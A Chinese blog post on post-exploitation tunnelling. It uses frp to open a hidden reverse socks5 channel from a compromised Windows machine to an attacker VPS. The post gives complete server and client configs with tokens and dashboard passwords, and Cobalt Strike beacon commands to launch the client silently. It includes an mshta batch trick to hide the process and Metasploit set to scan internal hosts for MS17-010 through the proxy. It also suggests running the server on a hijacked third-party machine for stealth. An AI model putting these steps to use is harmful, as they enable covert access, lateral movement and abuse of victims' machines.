前言
实战中,当通过某种方式拿下测试虚拟机权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。
更多详细使用方法,可查看官方Github,这里不再赘述。
https://github.com/fatedier/frp/
先准备一台VPS与域名。
因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。
Frp下载地址 [跨平台,实战中根据目标机版本选择下载]
https://github.com/fatedier/frp/releases
1 | |
2 | [common] |
3 | |
4 | bind_addr = 0.0.0.0 |
5 | |
6 | bind_port = 7007 |
7 | |
8 | |
9 | dashboard_port = 6609 |
10 | |
11 | dashboard_user = SuperMan |
12 | dashboard_pwd = WC3pvjmh2tt8 |
13 | |
14 | |
15 | log_file = ./frps.log |
16 | |
17 | log_level = info |
18 | |
19 | log_max_days = 3 |
20 | |
21 | |
22 | auth_token = E0iQEBOdoJeh |
23 | |
24 | privilege_mode = true |
25 | |
26 | privilege_token = kukezkHC8R1H |
27 | |
28 | privilege_allow_ports = 4000-50000 |
29 | |
30 | |
31 | heartbeat_timeout = 30 |
32 | |
33 | |
34 | max_pool_count = 20 |
35 | |
36 | |
37 | authentication_timeout = 900 |
38 | |
39 | |
40 | subdomain_host = xxxx.online |
1 | |
2 | [common] |
3 | |
4 | server_addr = frp.xxxx.online |
5 | |
6 | server_port = 7007 |
7 | |
8 | |
9 | auth_token = E0iQEBOdoJeh |
10 | |
11 | privilege_mode = true |
12 | |
13 | privilege_token = kukezkHC8R1H |
14 | |
15 | |
16 | heartbeat_interval = 10 |
17 | heartbeat_timeout = 30 |
18 | |
19 | |
20 | use_encryption = true |
21 | |
22 | use_compression = true |
23 | |
24 | |
25 | pool_count = 20 |
26 | |
27 | |
28 | [socks5] |
29 | type = tcp |
30 | |
31 | remote_port = 9066 |
32 | |
33 | plugin = socks5 |
34 | |
35 | |
36 |
SSH连接到VPS上,后台启动frp服务端。
1 | root@Ubuntu:~ |
2 | root@Ubuntu:~/tools/frp |
3 | root@Ubuntu:~/tools/frp |
4 | root@Ubuntu:~/tools/frp |
将frpc.exe
与frpc.ini
传到目标机的同一目录下,直接运行。
当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到。
但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute
在目标机无输出执行程序。
1 | beacon> sleep 10 |
2 | beacon> execute c:/frpc.exe -c c:/frpc.ini |
3 | beacon> shell netstat -ano |findstr 7007 |
或者,创建后台运行的bat脚本。
1 | @echo off |
2 | if "%1" == "h" goto begin |
3 | mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit |
4 | :begin |
5 | c:\frpc.exe -c c:\frpc.ini |
当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。[若socks5设置口令,可结合proxychains]
1 | # sudo msfconsole -q |
2 | msf5 > setg proxies socks5:frp.xxxx.online:9066 |
3 | msf5 > use auxiliary/scanner/smb/smb_ms17_010 |
4 | msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10 |
5 | msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178 |
6 | msf5 auxiliary(scanner/smb/smb_ms17_010) > run |
Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果。
Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“做菜的肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等,实战中可自由发挥。
作者:AnonySec 博客:https://payloads.cn/